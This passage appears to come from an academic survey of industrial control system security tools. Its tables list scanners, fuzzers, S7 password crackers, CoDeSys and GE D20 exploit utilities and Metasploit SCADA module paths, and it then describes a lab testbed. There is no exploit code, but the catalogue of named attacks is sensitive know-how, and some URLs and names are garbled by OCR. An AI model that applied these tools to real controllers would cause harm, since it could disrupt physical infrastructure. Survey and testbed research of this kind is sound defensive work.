popular  ICS  protocols.  Bamyard2  allows  Snort  to  write  efficiently  to  disk  without 
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interruptions  from  network  traffic  monitoring.  Suricata  is  an  open  source  next  generation 
intrusion  detection  and  prevention  system  similar  to  Snort. 

b.  SCADA-specific  Tools 

The  SCADA-specific  tools  are  those  specifically  designed  to  exploit  components 
in  the  ICS  domain,  but  may  not  be  specialized  to  any  sector  of  ICS  usage.  These  tools 
primarily  deal  with  the  Modbus/TCP  and  DNP3  protocols,  which  are  used  in  several  ICS 
sectors.  These  tools  include  scanners,  fuzzers,  and  simulators.  ModbusPal  and 
OpenDNP3  are  simulators  for  the  Modbus/TCP  protocol  and  DNP3  protocol, 
respectively. 


c.  Energy  Sector  Tools 

The  energy  sector  tools  are  those  uniquely  applicable  to  devices  and  components 
in  the  energy  sector.  These  tools  include  radio  frequency  and  logic  analyzers,  phasor 
simulators,  and  fuzzing  tools  for  electric  smart  meters  (e.g.,  GNU  Radio,  iPDC,  PMU 
Simulator,  Saleae  Logic,  and  Termineter).  These  tools  enhance  the  vulnerability 
identification  and  security  assessment  of  energy  sector  control  systems,  and  may  be  used 
in  conjunction  with  the  tools  from  the  SCADA-specific  category. 

Table  1.  ICS  Tools  Distribution  Survey. 


Tool/Exploit  Name 

INL  Kali 

SamuraiSTFU 

Developer 

System(s) 

Pentest 

Core 

Tools 

Barnyard2 

X 

SecurixLive 

Cross-platform 

Metasploit 

X 

X 

Open  Source  /  Rapid7 

Cross-platform 

Snort 

X 

Sourcefire 

Cross-platform 

Suricata 

X 

Open  Information 
Security  Foundation 

Cross-platform 

SCADA 

Specific 

Tools 

Aegis  Fuzzing 
Platform 

X 

Adam  Crain  and  Chris 
Sistrunk 

Cross-platform 

MB  client 

X 

Loic  Lefebvre 

Cross-platform 

Mbtget 

X 

Loic  Lefebvre 

Cross-platform 

ModbusPal 

X 

Multiple  Developers 
(Open  Source  Project) 

Cross-platform 

Modscan 

X 

X 

Mark  Bristow 

Cross-platform 
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Tool/Exploit  Name 

INL  Kali 

SamuraiSTFU 

Developer 

System(s) 

OpenDNP3 

X 

Automatak 

Cross-platform 

Energy 

Sector 

Tools 

GNU  Radio 

X 

Eric  Blossom  /  GNU 
Project 

Cross-platform 

iPDC  (Phasor  Data 
Concentrator) 

X 

Nitesh  Pandit  &  Kedar 
Khandeparkar 

Unix  /  Unix-like  OS 

PMU  Simulator 

X 

Nitesh  Pandit  &  Kedar 
Khandeparkar 

Unix  /  Unix-like  OS 

Saleae  Logic 

X 

Saleae 

Cross-platform 

Termineter 

X 

Spencer  McIntyre 

Cross-platform 

B.  TOOLS  SUMMARY 

We  surveyed  a  total  of  39  ICS-related,  publicly  available  tools  for  defensive  and 
adversarial  purposes  (see  Table  2).  These  tools  range  in  functionality  from  scanning  tools 
that  automate  known  exploits  against  ICS-related  software.  The  summary  includes  tools 
not  found  in  any  known  distribution.  Research  groups  and  independent  researchers 
developed  many  of  these  tools  to  demonstrate  exploits  against  various  control  systems 
devices  and  components.  These  range  from  hardware/vendor-specific  vulnerabilities  to 
ICS  vulnerabilities  relevant  to  multiple  implementations. 

1.  Commercial  Tools 

All  tools  surveyed  are  freely  available  online  to  use  with  the  exception  of  two: 
Nessus  and  Saleae  Logic  Analyzer.  The  ICS-specific  software  or  plugins  for  these  tools 
are  free,  but  require  either  a  subscription  or  commercial  hardware  to  operate.  We  describe 
these  next. 


a.  Nessus 

Nessus  is  a  vulnerability,  configuration,  and  compliance  scanner  for  a  wide 
variety  of  systems.  It  supports  ICS  networks  using  a  set  of  plugins  developed  by  Digital 
Bond  for  Nessus.  Nessus  offers  a  one-week  trial  period  but  requires  an  annual 
subscription,  ranging  from  $l,500-$5,000  per  year  [26], 
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b.  Saleae  Logic  Analyzer 

Saleae  Logic  Analyzer  software  is  used  to  record,  view,  and  measure  digital 
signals.  The  software  is  free,  but  requires  commercial  hardware  to  operate.  The  Saleae 
hardware  is  sold  from  $99-$499,  depending  on  its  features  [27], 

2.  Tools  Platform 

Most  tools  in  Table  2  are  designed  to  operate  across  all  platforms  or  have  releases 
for  multiple  platforms.  The  cross-platform  tools  are  implemented  in,  for  example,  Python 
Perl,  Java,  and  the  NMAP  scripting  language;  any  system  that  supports  these  would  have 
the  ability  to  run  those  tools.  Most  exploits  are  hardware-  or  vendor-specific  exploits, 
such  as  s7 _password_hashes_extractor.py,  which  is  specifically  developed  to  exploit 
Siemens  products  running  the  S7  communications  protocol.  Conversely,  there  are  other 
tools  that  work  across  multiple  hardware  and  vendor  devices  such  as  the  codesys-shell.py, 
which  is  an  exploit  for  the  CoDeSys  software  present  on  several  PLCs  and  other  control 
devices. 
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Table  2.  ICS  Tools  Survey. 


Tool/Exploit  Name 

Commercial 

Developer 

System(s) 

Description 

URL 

Nessus 

X 

Tenable  Security 
(plugins:  Digital 
Bond) 

Cross¬ 

platform 

Vulnerability  scanner  that 
offers  many  features  to 
help  assess  the  security  of 
control  system  networks, 
devices,  servers  and 
workstations.  Includes 
SCADA  plugins 

http://www.digitalbond.com/tools/the- 

rack/nessus/ 

Saleae  Logic  Analyzer 

X 

Saleae 

Cross¬ 

platform 

Logic  analyzer  used  to 
record,  view,  and  measure 
digital  signals. 

https ://  www.  saleae .  com/Logic 

Aegis  Fuzzing  Probe 

Adam  Crain 

Cross¬ 

platform 

DNP3  Fuzzing  tool  that 
tests  both  server  slave  and 
client  master 

http  ://sourceforge .  net/proj  ects/opensdr/ 

BACnet-discover-enumerate.nse 

Digital  Bond 

Cross¬ 

platform 

Discovers  and  enumerates 
BACNet  Devices  collects 
device  information  based 
off 

standard  requests. 

https  ://github .  com/digitalbond/Redpoint 

codesys-shell.py 

Digital  Bond 

Cross¬ 

platform 

(Python) 

Command-shell  utility  - 
allows  an  unauthenticated 
user  the  ability  to  perform 
privileged  operations 
without  password 

https://www.digitalbond.com/wp- 
content/uploads/20 12/10/ codesys- 
shell.py_.txt 

codesys-transfer.py 

Digital  Bond 

Cross¬ 

platform 

(Python) 

File  Transfer  Tool  - 
allows  for  reading  and 
writing  files  on 
controllers  with  a  file 
system 

https://www.digitalbond.com/wp- 
content/uploads/20 1 2/1 0/codesys- 
transfer.py_.txt 
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Tool/Exploit  Name 

Commercial 

Developer 

System(s) 

Description 

URL 

codesys.nse 

Digital  Bond 

Cross¬ 

platform 

(NMAP) 

NMAP  NSE  -  script  that 
will  detect  if  PLC  or 
controller  is  running  a 
vulnerable  version  of 
CoDeSys  ladder  logic 
runtime 

http  ://www.  digitalbond.  com/  wp- 
content/uploads/20 12/11/  codesys  .nse 

d20cmd.py 

Digital  Bond 

Cross¬ 

platform 

(Python) 

D20  Interactive 

Command  Line  -  Python 
script  that  provides  an 
interactive  command-line 
to  the  D20's  tftp  backdoor 
command  line.  Same 
capability  as  d20tftpbd 
Metasploit  module 

https://www.digitalbond.com/wp- 
content/uploads/20 1 2/02/d20cmd.py_.zip 

d20tftpbo 

Digital  Bond 

General 
Electric 
D20  ME 

D20  TFTP  Buffer 

Overflow  Tool  -  crashes 
the  D20  tftp  service,  all 
processes  are  stopped  and 
the  D20's  network  stack 
is  disabled. 

https://www.digitalbond.com/wp- 
content/uploads/20 1 2/02/d20tftpbo.rb_.zip 

enip-enumerate.nse 

Digital  Bond 

Cross¬ 

platform 

(NMAP) 

Enumerates  information 
on  EtherNet/IP  devices 
including  Vendor  ID, 
Device  Type,  Product 
name,  Serial  Number, 
Product  code,  Revision 
Number,  as  well  as  the 
Device  IP. 

https  ://github .  com/digitalbond/Redpoint 

GNU  Radio 

Eric  Blossom  / 
GNU  Project 

Cross¬ 

platform 

Development  toolkit  for 
software  defined  radios 
and  signal  processing 
systems 

http://sourceforge.net/projects/opensdr/ 

iec-60870-5-104.py 

Aleksandr 

Timorin 

Cross¬ 

platform 

(Python) 

iec-6 1870-5- 104  (mms) 
protocol  tool:  send/recv 
identify  packets  and 
extract  vendor  name, 
model  name,  revision 

https://github.com/atimorin/scada-tools 
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Tool/Exploit  Name 

Commercial 

Developer 

System(s) 

Description 

URL 

iec-61850-8-l.py 

Aleksandr 

Timorin 

Cross¬ 

platform 

(Python) 

iec-6 1850-8-1  (mms) 
protocol  tool:  send/recv 
identify  packets  and 
extract  vendor  name, 
model  name,  revision 

https ://  github .  com/  atimorin/  scada-tools 

iec-identify.nse 

Aleksandr 

Timorin 

Cross¬ 

platform 

(NMAP) 

Attempts  to  check 
tcp/2404  port  supporting 
IEC  60870-5-104  ICS 
protocol. 

https://github.com/atimorin/scada-tools 

iPDC  (Phasor  Data  Concentrator) 

Nitesh  Pandit  & 
Kedar 

Khandeparkar 

Unix/ 

Unix-like 

OS 

Phasor  Data  Concentrator 
compliant  with 

IEEEC37.1 18 
synchrophasor  standard 

http://ipdc.codeplex.com 

JtR  S7  Password  Cracking 

ScadaStrangeLove 

Cross¬ 

platform 

Script  that  would  take  and 
crack  the  hashes  found 
within  an  S7  packet 
capture. 

http://www.digitalbond.com/tools/the- 
rack/j  tr-s7  -password-cracking/ 

Kismet 

Mike  Kershaw 

Cross¬ 

platform 

Open  source  wireless 
network  detector  and 
wireless  sniffer, 

http://www.digitalbond.com/tools/the- 

rack/kismet/ 

MBclient 

Loic  Lefebvre 

Cross¬ 

platform 

(Perl) 

Standard  serial 
communication  protocol 
used  to  interconnect 
industrial  PLC  (and  a  lot 
of  other  things).  This 
module  gives  you  access 
to  TCP  and  RTU  version 
of  this  protocol,  through 
the  MBclient  object. 

https  ://github .  com/sourceperl/MB  client 

mbtget 

Loic  Lefebvre 

Cross¬ 

platform 

(Perl) 

Perl  based  Modbus 
scanner  that  creates 

Modbus  transactions  from 
the  command  line 

https://github.com/sourceperl/mbtget 

mms -identify,  nse 

Aleksandr 

Timorin 

Cross¬ 

platform 

(NMAP) 

Attempts  to  check 
tcp/102  port  supporting 
iec-6 1850-8-1  (mms)  ICS 
protocol.  Send  identify 

https://github.com/atimorin/scada-tools 
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Tool/Exploit  Name 

Commercial 

Developer 

System(s) 

Description 

URL 

request  and  extract 
vendor  name,  model 
name,  and  revision  from 
response. 

ModbusPal 

Multiple 

Developers  (Open 
Source  Project) 

Cross¬ 

platform 

(Java) 

Modbus  slave  simulator. 
Interface  with  the 
capabilities  to  reproduce 
complex  and  realistic 
Modbus  environments 

http://modbuspal.sourceforge.net 

modscan 

Mark  Bristow 

Cross¬ 

platform 

(Python) 

Tool  designed  to  map  a 
SCADA  MODBUS  TCP 
based  network 

https://code.google.eom/p/modsean/ 

NetDDE  Share  Tool 

Neutralbit 

Cross¬ 

platform 

A  NetDDE  client  that  can 
compromise  a  system 
with  a  poorly  configured 
NetDDE  share. 

http://digibond.wpengine.netdna- 

cdn.com/wp- 

content/uploads/20 1 1  /02/nbDDESetup.exe 

OpenDNP3 

Automatak 

Cross¬ 

platform 

DNP3  protocol  simulator 

https ://  github .  com/  automatak/dnp3 

PLCScan 

ScadaStrangeLove 

Cross¬ 

platform 

Python  script  that  checks 
the  availability  of  two 
ports,  TCP/ 102  and 
TCP/502,  if  it  discovers 
either  of  these  two  ports 
open,  it  will  call  other 
fimctions/scripts  based  on 
the  port. 

https://eode.google.eom/p/plcsean/ 

PMU  Simulator 

Nitesh  Pandit  & 
Kedar 

Khandeparkar 

Unix/ 

Unix-like 

OS 

Phasor  Measurement  Unit 
Simulator  compliant  with 
IEEEC37.1 18 
synchrophasor  standard 

http://ipdc.codeplex.com 

profmet_scanner.noscapy.py 

Aleksandr 

Timorin 

Cross¬ 

platform 

(Python) 

Profinet  discovery  tool. 
Send  multicast  ethernet 
packet  and  receive  all 
answers.  Extract  useful 
info  about  devices:  PLC, 
HMI,  Workstations.  No 
scapy  required.  Works  on 

https ://  github  .com/  atimorin/  scada-tools 
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Tool/Exploit  Name 

Commercial 

Developer 

System(s) 

Description 

URL 

*nix  systems. 

profmet_scanner.py 

Aleksandr 

Timorin 

Cross¬ 

platform 

(Python) 

Scans  subnet  and  find 
profmet-enabled  devices 
(PLC,  HMI),  PC 
workstations.  Extract 
network  info,  names, 
roles. 

https://github.com/atimorin/scada-tools 

profmet_set_fuzzer.py 

Aleksandr 

Timorin 

Cross¬ 

platform 

(Python) 

Profmet  SET  request 
fiizzer.  Tested  on  S7- 
1200  PLC 

https://github.com/atimorin/scada-tools 

profmet_set_network_info.py 

Aleksandr 

Timorin 

Cross¬ 

platform 

(Python) 

Set  network  info:  IP, 
mask,  gateway  through 
Profmet  DCP  request 

https://github.com/atimorin/scada-tools 

Quickdraw  SCADA  IDS  Snort 
Rules 

Digital  Bond 

Cross- 

Platform 

(Snort) 

Snort  rules  set  for  the 
Modbus,  DNP3,  and 
EtherNet/IP  protocols 

http://www.digitalbond.com/tools/quickdraw/ 

s7_brute_offline  .py 

Aleksandr 

Timorin 

Cross¬ 

platform 

(Python) 

S7  offline  password 
bruteforce  based  on 
challenge-response  data, 
extracted  from  auth  traffic 
dump  file 

https://github.com/atimorin/scada-tools 

s7_password_hashes_extractor.py 

Aleksandr 

Timorin 

Cross¬ 

platform 

(Python) 

Password  hashes 
extractor  from  Siemens 
Simatic  TIA  Portal 
project  file 

https ://  github .  com/  atimorin/  scada-tools 

s7- 1 5 00_brute_offline  .py 

Aleksandr 

Timorin 

Cross¬ 

platform 

(Python) 

Offline  password 
bruteforce  based  on 
challenge-response  data, 
extracted  from  auth  traffic 
dump  file  for  Siemens 
S7-1500  PLC’s. 

https ://  github .  com/  atimorin/  scada-tools 

s7-enumerate.nse 

Digital  Bond 

Cross¬ 

platform 

Enumerates  Siemens  S7 
PLC  Devices  and  collects 
their  device  information. 

https  ://github .  com/digitalbond/Redpoint 
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Tool/Exploit  Name 

Commercial 

Developer 

System(s) 

Description 

URL 

s7  -packet-  structure  .py 

Aleksandr 

Timorin 

Cross¬ 

platform 

(Python) 

S7  Packet  Structure  - 
shows  packets  with 
required  value  in  required 
place 

https ://  github .  com/  atimorin/  scada-tools 

s7-show-payloads.py 

Aleksandr 

Timorin 

Cross¬ 

platform 

(Python) 

S7  Show  Payload  -  shows 
packet  payload 

https://github.com/atimorin/scada-tools 

telnet-fp.  py 

Digital  Bond 

Cross¬ 

platform 

Generic  telnet 
fingerprinting  tool  -  may 
be  used  against  any 
controller,  which  supports 
the  telnet  protocol. 

https://www.digitalbond.com/wp- 
content/uploads/20 1 2/02/telnet-fp.py_.zip 

Termineter 

Spencer  McIntyre 

Cross¬ 

platform 

(Python) 

Tool  for  enumerating  and 
fuzzing  02.18  and 

02.19  Smart  Meter 
interface 

https ://  code .  google .  com/p/ termineter/ 
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C.  METASPLOIT  FRAMEWORK  ICS  MODULES 

The  Metasploit  Framework  contains  modules  for  scanning,  enumerating,  and 
exploiting  vulnerable  ICS  components  and  field  devices.  Table  3  shows  ICS-related 
modules  available  through  MSFUpdate.  MSFUpdate  is  a  command  that  downloads 
Metasploit  module  updates  from  an  online  repository.  In  particular,  these  tools  are 
downloaded  in  Kali  Linux  by  updating  the  Metasploit  Framework  through  the  apt-get 
update  &&  apt-get  dist-upgrade  command.  All  but  three  modules  in  Table  3  are  available 
through  MSFUpdate.  These  three  modules  were  developed  by  Security  researcher  Dillon 
Beresford  to  exploit  the  Siemens  Simatic  S7  platform  [28],  The  core  of  Table  3  was 
developed  from  a  list  of  SCADA-specific  Metasploit  modules  from  SCADAhacker.com 
[29].  This  original  list  was  updated  and  expanded  based  on  further  research  to  form  the 
survey  appearing  here. 

Table  3.  Metasploit  Framework  ICS  Module 


Tool/Exploit  Name 

MSFUp 

date 

Developer/ 

Vendor 

System(s) 

Metasploit  Reference 

codesys  web  server.r 
b 

X 

3S 

CoDeSys 

exploit/windows/scada/codesys_web_s 

erver.rb 

igss_exec_17.rb 

X 

7- 

Technologie 

s 

IGSS 

auxiliary/admin/scada/igss_exec_  1 7  .rb 

igss9_igssdataserver_li 

stall.rb 

X 

7- 

Technologie 

s 

IGSS 

exploit/windows/scada/igss9_igssdatas 

erver_listall.rb 

igss9_igssdataserver_r 

ename.rb 

X 

7- 

Technologie 

s 

IGSS 

exploit/windows/scada/igss9_igssdatas 
erver_r  ename .  rb 

igss9_misc.rb 

X 

7- 

Technologie 

s 

IGSS 

exploit/windows/scada/igss9_misc.rb 

daq_factory_bof.rb 

X 

AzeoTech 

DAQ 

Factory 

exploit/windows/scada/daq_factory_b 

of.rb 

bacnet_csv.rb 

X 

BACnet 

OPC  Client 

exploit/windows/fileformat/bacnet_csv 

.rb 

teechart_pro.rb 

X 

BACnet 

Operator 

Workstation 

exploit/windows/browser/teechart_pro 

.rb 

beckhoff_twincat.rb 

X 

Beckhoff 

TwinCat 

auxiliary/dos/scada/beckhoff  twincat.r 
b 
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Tool/Exploit  Name 

MSFUp 

date 

Developer/ 

Vendor 

System(s) 

Metasploit  Reference 

digi_addp_reboot.rb 

X 

Digi 

International 

Advance 

Device 

Discovery 

Protocol 

auxiliary/scanner/scada/digi_addp_reb 

oot.rb 

digi_addp_version.rb 

X 

Digi 

International 

Advance 

Device 

Discovery 

Protocol 

auxiliary/scanner/scada/digi_addp_ver 

sion.rb 

digi_realport_serialpor 

t_scan.rb 

X 

Digi 

International 

Advance 

Device 

Discovery 

Protocol 

auxiliary/scanner/scada/digi_realport_ 

serialportscan.rb 

digi  realport  version.r 
b 

X 

Digi 

International 

Advance 

Device 

Discovery 

Protocol 

auxiliary/ scanner/scada/  digi_realport_ 
version.rb 

koyo_login.rb 

X 

Digital 

Bond 

Koyo/Direct 

LOGIC 

ECOM 

Bruteforce 

auxiliary/scanner/scada/koyo_login.rb 

modicon_command.rb 

X 

Digital 

Bond 

Schneider 

Modicon 

Quantum 

Crendential 

Disclosure 

auxiliary/admin/scada/modicon_comm 

and.rb 

modicon_password_re 

covery.rb 

X 

Digital 

Bond 

Schneider 

Modicon 

Quantum 

Crendential 

Disclosure 

auxiliary/ admin/  scada/  modicon_passw 
ord  recovery. rb 

modicon  stux  transfer 
.rb 

X 

Digital 

Bond 

Schneider 

Modicon 

Quantum 

Crendential 

Disclosure 

auxiliary/admin/scada/modicon_stux_t 

ransfer.rb 

multi  cip  command.r 
b 

X 

Digital 

Bond 

Allen- 

Bradley/Roc 

kwell 

Automation 
ControlLogi 
x  Ethernet/IP 

auxiliary/ admin/  scada/  multi_cip_com 
mand.rb 

simatic_s7_ 1 200_com 
mand.rb 

NO 

Dillon 

Beresford 

Siemens 
Simatic  S7 
module 

Not  Applicable 

simatic_s7_3  OOcomm 
and.rb 

NO 

Dillon 

Beresford 

Siemens 
Simatic  S7 
module 

Not  Applicable 

simatic_s7_3  OOmemo 
ry_view.rb 

NO 

Dillon 

Beresford 

Siemens 
Simatic  S7 
module 

Not  Applicable 
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Tool/Exploit  Name 

MSFUp 

date 

Developer/ 

Vendor 

System(s) 

Metasploit  Reference 

modbus_fmdunitid.rb 

X 

EsMnemon 

Modbus 

Client 

Utility 

auxiliary/scanner/scada/modbus_fmdu 

nitid.rb 

modbusdetect.rb 

X 

EsMnemon 

Modbus 

Client 

Utility 

auxiliary/scanner/scada/modbusdetect. 

rb 

modbusclient.rb 

X 

EsMnemon 
and  Arnaud 
Soullie 

Modbus 

Client 

Utility 

auxiliary/scanner/scada/modbusclient.r 

b 

d20_tftp_overflow.rb 

X 

General 

Electric 

D20  PLC 

auxiliary/dos/scada/d20  tftp  overflow 

d20pass.rb 

X 

General 

Electric 

D20  PLC 

auxiliary/ gather/ d20pass  .rb 

ge_proficy_substitute_ 

traversal.rb 

X 

General 

Electric 

Web  View 
substitute.be 

1  Directory 
Traversal 

auxiliary/ admin/  scada/  ge_proficy_sub 
stitute_traversal.rb 

iconics_genbroker.rb 

X 

Iconics 

Genesis32 

exploit/windows/scada/iconics_genbro 

ker.rb 

iconics_webhmi_setac 

tivexguid.rb 

X 

Iconics 

Genesis32 

exploit/windows/scada/iconics_webh 
mi  setactivexguid.rb 

indusoft_ntwebserver_ 

fileaccess.rb 

X 

Indusoft 

WebStudio 

NTWebServ 
er  Remote 
File  Access 

auxiliary/scanner/scada/indusoftntwe 

bserver_fileaccess.rb 

codesys  web  server.r 
b 

X 

Luigi 

Auriemma 

CoDeSys 
CmpWebSer 
ver  Stack 
Buffer 
Overflow 

exploits/windows/scada/codesys_web_ 

server.rb 

scadapro_cmdexe.rb 

X 

Measuresoft 

ScadaPro 

exploit/windows/ scada/  scadaprocmde 
xe.rb 

moxamdmtool.rb 

X 

Moxa 

Device 

Manager 

exploit/windows/scada/moxamdmtoo 

l.rb 

realwin_on_fc_binfile 

_a.rb 

X 

RealFlex 

RealWin 

SCADA 

exploit/windows/scada/realwin_on_fc 

_binfile_a.rb 

realwin  on  fcs  login.r 
b 

X 

RealFlex 

RealWin 

SCADA 

exploit/windows/scada/realwin_on_fcs 

_login.rb 

realwin  scpc  initialize 
rf.rb 

X 

RealFlex 

RealWin 

SCADA 

exploit/windows/scada/realwin_scpc_i 

nitialize_rf.rb 

realwin  scpc  initialize 
.rb 

X 

RealFlex 

RealWin 

SCADA 

exploit/windows/scada/realwin_scpc_i 

nitialize.rb 

realwin  scpc  txtevent. 
rb 

X 

RealFlex 

RealWin 

SCADA 

exploit/windows/scada/realwin_scpc_t 

xtevent.rb 

realwin.rb 

X 

RealFlex 

RealWin 

SCADA 

exploit/windows/scada/realwin.rb 

procyon  core  server.r 
b 

X 

ScadaTec 

Procyon 

exploit/windows/scada/procyon_core_ 

server.rb 
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Tool/Exploit  Name 

MSFUp 

date 

Developer/ 

Vendor 

System(s) 

Metasploit  Reference 

scadaphone_zip.rb 

X 

ScadaTec 

ModbusTag 

Server 

ScadaPhone 

exploit/windows/fileformat/scadaphon 

e_zip.rb 

citect_scada_odbc.rb 

X 

Schneider 

Electric 

CitectSCAD 

A 

exploit/windows/scada/citect_scada_o 

dbc.rb 

sielco_winlog_fileacce 

ss.rb 

X 

Sielco 

Sistemi 

Winlog 
Remote  File 
Access 

auxiliary/scanner/scada/sielco_winlog 

_fileaccess.rb 

winlog_runtime_2  .rb 

X 

Sielco 

Sistemi 

Winlog 

exploit/  windo  ws/scada/  winlog_runtim 
e  2.rb 

winlog  runtime.rb 

X 

Sielco 

Sistemi 

Winlog 

exploit/  windo  ws/scada/  winlog_runtim 
e.rb 

factorylink  cssservice. 
rb 

X 

Siemens 

Technomati 

X 

FactoryFink 

exploit/windows/scada/factorylink_css 
service. rb 

factorylink_vm_09  .rb 

X 

Siemens 

Technomati 

X 

FactoryFink 

exploit/  windo  ws/scada/  factorylink  vrn 
09. rb 

sunway_force_control 

netdbsrv.rb 

X 

Sunway 

Forcecontrol 

SNMP 
NetDB  Serve 

r.exe 

Opcode 

0x57 

exploits/ windo  ws/scada/  sunwayforce 
controlnetdbsrv.rb 

teechart_pro.rb 

X 

Unitronics 

OPC  Server 

exploit/exploits/windows/browser/teec 

hart_pro.rb 

Next,  we  describe  our  test  environment  and  our  experience  with  running  some  of 
these  tools. 
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V.  TOOLS  EVALUATION 


In  this  chapter,  we  explore  the  ICS  tools  selected  from  the  survey,  experimenting 
with  each  tool  using  a  small  test  environment  built  for  our  study.  Some  of  the  aspects  we 
explore  include:  the  availability  of  the  tool,  its  installation  process,  and  its  conformity  to 
the  developer’s  description. 

A.  TEST  ENVIRONMENT 

A  small-scale  SCADA  test  environment  was  built  for  our  study.  The  environment 
simulates  a  small  distributed  SCADA  system,  following  guidance  from  NIST  SP800-82, 
Guide  to  Industrial  Control  Systems  (ICS)  Security  and  ANSI/ISA-99.00.0 1-2007, 
Security  for  Industrial  Automation  and  Control  Systems  Part  1:  Terminology,  Concepts, 
and  Models  [5],  [7].  These  two  documents  define  terminology  and  provide  an 
architectural  model  for  a  typical  ICS  environment.  The  test  environment  adopts  the  NIST 
SP800-82  organization  and  terminology — dividing  the  environment  between  the  Control 
Network,  Corporate/Supervisory  Network,  and  Enterprise/Outside  World  Network  [5],  as 
opposed  to  the  five-layer  model  of  ANSI/ISA-99  [7].  Our  test  environment  utilizes  real 
and  virtual  components  to  simulate  an  entire  enterprise  network.  The  physical 
components  of  the  test  environment  leverage  two  Tofino  SCADA  Security  Simulators. 
Each  kit  consists  of  a  Wago  PLC  controlling  a  simulated  compressor  system,  a  demo 
sensor  panel,  an  HMI  that  interfaces  with  the  PLC,  and  Tofino  Security  Appliance 
product.  The  default  configuration  of  the  Tofino  Security  Appliance  product  is  passive 
mode  during  the  testing  and  evaluating  the  tools  selected  below.  Operating  the  Tofino 
Security  Appliance  in  passive  mode  allows  the  tools  to  run  in  the  network  without 
interference  from  the  firewall.  Connecting  the  two  Tofino  kits  creates  a  realistic, 
distributed  Enterprise-scale  ICS  network,  where  each  kit  acts  as  a  remote  site  within  a 
small-scale  Enterprise  Network. 

Another  experimental  SCADA  security  test  environment — built  by  Ti  Safe,  a 
supplier  of  products  and  quality  services  for  information  and  automation  security  based 
out  of  Rio  de  Janeiro — follows  a  similar  approach  to  ours.  Their  environment  leverages 
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the  Tofino  kit  for  their  project’s  test  network  design  architecture  (Figure  10).  They 
provide  specific  solutions  for  automation  network  security  based  on  the  ANSI/ISA-99 
standard  with  the  main  objective  of  security  and  protection  of  Critical  Infrastructure  [30], 
[31].  Our  SCADA  test  environment  follows  the  architecture  from  Ti  Safe’s  SCADA 
Security  Testbed. 


Monitoring  Server 


PLC:  192.168.1.1/24 

Supervisory  Station:  192.168.1.15/24 

Attacker  Machine:  192.168.1.171/24 

Monitoring  Machine:  192.168.1.166/24 

Sniffing  Machine:  -  (promiscuous  mode,  no  IP  address) 


Figure  10.  Ti  Safe  SCADA  Security  Testbed  Network  Diagram,  from  [30] 


1.  Test  Environment  Design 

We  designed  our  SCADA  test  environment  following  the  organization  of  different 
ICS  layers  defined  in  NIST  SP800-82  and  the  physical  design  concept  of  Ti  Safe’s  test 
bed  (see  Figure  10)  [5]. 

a.  Organization 

Our  project’s  SCADA  test  environment  is  organized  into  three  main  parts.  In 
accordance  with  NIST  SP800-82,  a  typical  ICS  network  organization  is  comprised  of  a 
control  network  at  its  lowest  level,  a  corporate  or  supervisory  network  at  the  middle  level 
that  directly  interfaces  with  the  Control  Network,  and  an  Enterprise  Network  [5],  At  the 
Enterprise  layer,  multiple  Corporate  and  Control  Networks  may  exist,  depending  on  the 
size  and  physical  location  of  the  entire  ICS  network.  Our  test  environment  is  too  small  to 
warrant  the  complexity  of  the  five  levels  described  in  the  ANSI/ISA-99  SCADA 
reference  model  (i.e.,  they  are  unnecessary  to  describe  the  components  and  objectives 
that  this  project  attempts  to  achieve). 
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b.  Environment  Topology 

Our  test  network  (Figure  11)  consists  of  two  Tofino  demonstration  kits,  to 
simulate  two  of  the  three  networks  that  make  up  the  fictional  “Fort  Sask”  Enterprise 
Network — a  fictional  pipeline  system  defined  in  the  Tofino  Security  Appliance  Central 
Management  Program  (CMP)  demo  configuration.  The  network  topology  diagram 
distinguishes  between  two  types  of  components.  Green  network  lines  and  peripherals 
represent  real  network  connections  and  devices  that  physically  exist  in  the  test 
environment.  Blue  network  lines  and  peripherals  represent  fictional  network  connections 
and  devices,  which  are  notionally  part  of  the  network  architecture  and  more  accurately 
represent  a  real,  distributed  industrial  control  network. 
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Figure  11.  Test  Environment  Network  Diagram 


The  Fort  Sask  Control  Network  is  located  at  the  fictional  Fort  Sask  Main 
Headquarters.  This  consists  of  a  Wago  PLC  that  controls  pumps  and  actuators  of  a 
compressor  system  in  a  gas  pipeline  system,  simulated  by  LED  lights  on  a  circuit  board 
depicted  (see  Figure  12).  The  Tofino  Security  Appliance  (an  ICS  firewall)  is  connected  as 
a  “bump-in-the-wire”  between  the  Wago  PLC  and  a  network  hub.  The  HMI,  CMP, 
Security  Onion,  and  Kali  Linux  machines  are  all  connected  to  the  hub.  The  Security 
Onion  and  Kali  Linux  machines  are  platforms  for  troubleshooting,  monitoring,  and 
launching  defensive  and  adversarial  tools  in  our  test  network. 

The  Sumas  Pump  Station  Network  is  a  remote  site,  fictionally  connected  via 
microwave  radio  tower  or  cellular  tower.  This  setup  reflects  a  typical  remote  site  for  an 
Industrial  Control  Enterprise  Network  depicted  in  NIST  SP800-82  [5],  The  Control 
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Network  portion  of  the  Sumas  Pump  Station  is  implemented  using  the  second  Tofino  kit. 
It  contains  the  same  setup  as  the  Fort  Sask  Control  Network,  described  above. 

The  Jasper  Pipeline  Network  is  a  notional  third  network  segment,  consisting 
entirely  of  fictional  components.  It  is  located  at  a  separate  remote  site  and  contains  a 
Corporate/Supervisory  Network  connected  to  the  Enterprise  Network  via  fiber  optic  cable 
line.  This  configuration  follows  an  example  in  NIST  SP800-82  on  how  typical  Industrial 
Control  Systems  Enterprise  Network  are  connected  [5]. 


Figure  12.  Tofino  SCADA  Simulator  Representing  Fort  Sask  Control  Network 


2.  Test  Environment  Implementation 

The  implementation  of  the  test  environment  is  relatively  straightforward,  with 
minor,  manageable  complications  stemming  from  hard-coded  settings  associated  with  the 
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PLC  and  HMI  in  the  Tofino  kits,  and  license  restrictions  limiting  our  ability  to  fully 
customize  the  network  setup  of  the  two  Tofino  kits.  Figure  13  represents  the  final  setup 
of  the  fully  functional  SCADA  test  environment. 

For  each  Tofino  demonstration  kit  setup,  we  created  a  Virtual  Machine  (VM) 
copy  of  the  laptop  accompanying  the  kits.  We  needed  to  create  two  different  copies  of  the 
provided  operating  system  and  configure  them  to  have  distinct  IP  addresses  (.15  and  .20 
respectively,  as  depicted  in  Figure  11,  above)  in  order  for  the  HMI  and  CMP  to 
successfully  communicate  with  the  PLC. 

The  installation  of  Kali  Linux  and  Security  Onion  was  straightforward,  requiring 
minimal  setup  and  updates.  The  Security  Onion  distribution  of  Linux  is  configured  in 
promiscuous  mode,  for  testing  defensive  tools  such  as  Snort  and  for  monitoring  and 
troubleshooting,  throughout  the  network  setup  process.  Kali  Linux  is  setup  for  use  as  an 
